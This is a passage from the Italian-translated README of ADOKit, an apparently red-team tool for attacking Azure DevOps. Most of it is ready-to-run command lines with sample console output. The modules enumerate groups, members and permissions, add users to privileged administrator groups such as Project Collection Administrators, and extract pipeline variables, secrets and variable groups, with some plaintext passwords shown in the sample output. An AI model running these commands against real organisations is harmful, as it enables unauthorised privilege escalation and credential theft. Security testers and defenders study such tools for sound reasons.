ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
### Ottieni Membri del Team
#### Caso d'Uso
> *Ottieni i membri del team per un dato team*
#### Sintassi
Fornisci il modulo `getteammembers` e i criteri di ricerca nell'argomento da riga di comando `/search:`, insieme a tutte le informazioni di autenticazione pertinenti e all'URL. Questo restituirà il nome del team, il nome utente del membro del team e il nome visualizzato del membro del team.
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### Output di Esempio```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
Elenca i gruppi all'interno di un'istanza di Azure DevOps
Fornire il modulo listgroup, insieme a eventuali informazioni di autenticazione e URL pertinenti. Questo restituirà il nome principale dell'utente, il nome visualizzato e la descrizione del gruppo.
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
### Gruppi di ricerca
#### Caso d'uso
> *Cerca un gruppo specifico (o gruppi) nell'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `searchgroup` e i criteri di ricerca nell'argomento da riga di comando `/search:`, insieme alle informazioni di autenticazione rilevanti e all'URL. Questo restituirà il nome principale dell'utente (UPN), il nome visualizzato e la descrizione per il gruppo corrispondente.
`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`
`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`
#### Output di esempio```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
Elenca tutti i membri del gruppo per un determinato gruppo
Fornisci il modulo getgroupmembers e il/i gruppo/i che desideri cercare nell'argomento della riga di comando /group:, insieme a tutte le informazioni di autenticazione e URL pertinenti. Questo restituirà il nome principale dell'utente del gruppo corrispondente, insieme a ciascun membro del gruppo, inclusi l'indirizzo email e il nome visualizzato dell'utente.
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
### Ottieni Permessi del Progetto
#### Caso d'uso
> *Ottieni un elenco di chi ha i permessi per un determinato progetto.*
#### Sintassi
Fornisci il modulo `getpermissions` e il progetto che desideri cercare nell'argomento della riga di comando `/project:`, insieme a eventuali informazioni di autenticazione e URL pertinenti. Questo restituirà il nome principale dell'utente, il nome visualizzato e la descrizione per il gruppo corrispondente. Inoltre, restituirà i membri del gruppo per ciascuno di tali gruppi.
`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`
`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`
#### Esempio di Output```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
Aggiungi un utente al gruppo Project Administrators per un dato progetto.
Fornisci il modulo addprojectadmin insieme a /project: e /user: per un dato utente da aggiungere al gruppo Project Administrators per il progetto specificato. Inoltre, fornisci qualsiasi informazione di autenticazione e URL pertinenti. Vedi Tabella dei Dettagli del Modulo per le autorizzazioni necessarie per eseguire questa azione.
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
### Rimuovi Amministratore di Progetto
#### Caso d'Uso
> *Rimuovere un utente dal gruppo Amministratori di Progetto per un determinato progetto.*
#### Sintassi
Fornisci il modulo `removeprojectadmin` insieme a `/project:` e `/user:` per un determinato utente da rimuovere dal gruppo `Amministratori di Progetto` per il progetto specificato. Inoltre, fornisci eventuali informazioni di autenticazione pertinenti e l'URL. Consulta la [Tabella dei Dettagli dei Moduli](#module-details-table) per i permessi necessari per eseguire questa azione.
`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Output di Esempio```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
Aggiungi un utente al gruppo Build Administrators per un dato progetto.
Fornisci il modulo addbuildadmin insieme a /project: e /user: per l'utente da aggiungere al gruppo Build Administrators del progetto specificato. Inoltre, fornisci le pertinenti informazioni di autenticazione e l'URL. Consulta la Tabella dei dettagli dei moduli per i permessi necessari per eseguire questa azione.
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
### Rimuovi Amministratore Build
#### Caso d'Uso
> *Rimuovere un utente dal gruppo Build Administrators per un dato progetto.*
#### Sintassi
Fornire il modulo `removebuildadmin` insieme a `/project:` e `/user:` per un dato utente da rimuovere dal gruppo `Build Administrators` per il progetto specificato. Inoltre, fornire insieme eventuali informazioni di autenticazione pertinenti e l'URL. Vedi [Tabella dei Dettagli del Modulo](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.
`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Output di Esempio```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
Aggiungi un utente al gruppo Amministratori della Raccolta di Progetto.
Fornisci il modulo addcollectionadmin insieme a /user: per un determinato utente da aggiungere al gruppo Project Collection Administrators. Inoltre, fornisci qualsiasi informazione di autenticazione e URL rilevanti. Vedi Tabella dei Dettagli del Modulo per i permessi necessari per eseguire questa azione.
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
### Rimuovi Amministratore di Raccolta
#### Caso d'Uso
> *Rimuovere un utente dal gruppo Amministratori della Raccolta di Progetto.*
#### Sintassi
Fornire il modulo `removecollectionadmin` insieme a `/user:` per un determinato utente da rimuovere dal gruppo `Project Collection Administrators`. Inoltre, fornire le informazioni di autenticazione rilevanti e l'URL. Consultare la [Tabella dei Dettagli del Modulo](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.
`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Output di Esempio```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
Aggiungi un utente al gruppo Project Collection Build Administrators.
Fornisci il modulo addcollectionbuildadmin insieme a un /user: per un dato utente da aggiungere al gruppo Project Collection Build Administrators. Inoltre, fornisci qualsiasi informazione di autenticazione pertinente e URL. Vedi Tabella dei dettagli del modulo per le autorizzazioni necessarie per eseguire questa azione.
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
### Remove Collection Build Admin
#### Caso d'Uso
> *Rimuove un utente dal gruppo 'Project Collection Build Administrators'.*
#### Sintassi
Fornire il modulo `removecollectionbuildadmin` insieme a un `/user:` per un dato utente da rimuovere dal gruppo `Project Collection Build Administrators`. Inoltre, fornire le informazioni di autenticazione pertinenti e l'URL. Consultare la [Tabella dei Dettagli del Modulo](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.
`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Esempio di Output```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
Aggiungi un utente al gruppo Project Collection Build Service Accounts.
Fornisci il modulo addcollectionbuildsvc insieme a /user: per un dato utente da aggiungere al gruppo Project Collection Build Service Accounts. Fornisci inoltre tutte le informazioni di autenticazione e l'URL pertinenti. Consulta la Tabella dei Dettagli del Modulo per i permessi necessari per eseguire questa azione.
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
### Rimuovi Collection Build Service Account
#### Caso d'Uso
> *Rimuovi un utente dal gruppo Project Collection Build Service Accounts.*
#### Sintassi
Fornisci il modulo `removecollectionbuildsvc` insieme a un `/user:` per un determinato utente da rimuovere dal gruppo `Project Collection Build Service Accounts`. Inoltre, fornisci le informazioni di autenticazione pertinenti e l'URL. Consulta la [Tabella dei Dettagli dei Moduli](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.
`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Esempio di Output```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
Aggiungi un utente al gruppo Project Collection Service Accounts.
Fornisci il modulo addcollectionsvc insieme a un /user: per un dato utente da aggiungere al gruppo Project Collection Service Accounts. Inoltre, fornisci le informazioni di autenticazione e l'URL pertinenti. Vedi Tabella dei Dettagli del Modulo per le autorizzazioni necessarie per eseguire questa azione.
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
### Rimuovi Account del Servizio di Raccolta
#### Caso d'Uso
> *Rimuovere un utente dal gruppo Account del Servizio di Raccolta del Progetto.*
#### Sintassi
Fornisci il modulo `removecollectionsvc` insieme a `/user:` per un dato utente da rimuovere dal gruppo `Project Collection Service Accounts`. Inoltre, fornisci tutte le informazioni di autenticazione rilevanti e l'URL. Consulta la [Tabella dei Dettagli del Modulo](#module-details-table) per i permessi necessari per eseguire questa azione.
`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Esempio di Output```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
Estrai eventuali variabili della pipeline utilizzate nei progetti, che potrebbero contenere credenziali o altre informazioni utili.
Fornisci il modulo getpipelinevars insieme a un /project: per un determinato progetto per estrarre eventuali variabili della pipeline in uso. Se desideri estrarre le variabili della pipeline da tutti i progetti, specifica all nell'argomento /project:.
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
### Ottieni Segreti della Pipeline
#### Caso d'uso
> *Estrai i nomi di eventuali segreti della pipeline in uso nei progetti, che indirizzeranno l'operatore su dove tentare di effettuare l'estrazione dei segreti.*
#### Sintassi
Fornisci il modulo `getpipelinesecrets` insieme a `/project:` per un dato progetto per estrarre i nomi di eventuali segreti della pipeline in uso. Se desideri estrarre i nomi dei segreti della pipeline da tutti i progetti, specifica `all` nell'argomento `/project:`.
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Esempio di Output```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
Estrai qualsiasi gruppo di variabili e le variabili corrispondenti utilizzate nei progetti, che potrebbero contenere credenziali o altre informazioni utili.
Fornisci il modulo getvariablegroups insieme a /project: per un dato progetto per estrarre eventuali gruppi di variabili utilizzati. Se desideri estrarre gruppi di variabili da tutti i progetti, specifica all nell'argomento /project:.
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
### Ottenere Connessioni di Servizio
#### Caso d'Uso
> *Elenca tutte le connessioni di servizio in uso nei progetti, indirizzando l'operatore su dove tentare l'estrazione di credenziali per tali connessioni.*
#### Sintassi
Fornire il modulo `getserviceconnections` insieme a un argomento `/project:` per un determinato progetto al fine di elencare le connessioni di servizio in uso. Se si desidera elencare le connessioni di servizio in uso da tutti i progetti, specificare `all` nell'argomento `/project:`.
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Esempio di Output```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/11/2023 8:34:16 AM
==================================================
[*] INFO: Checking credentials provided
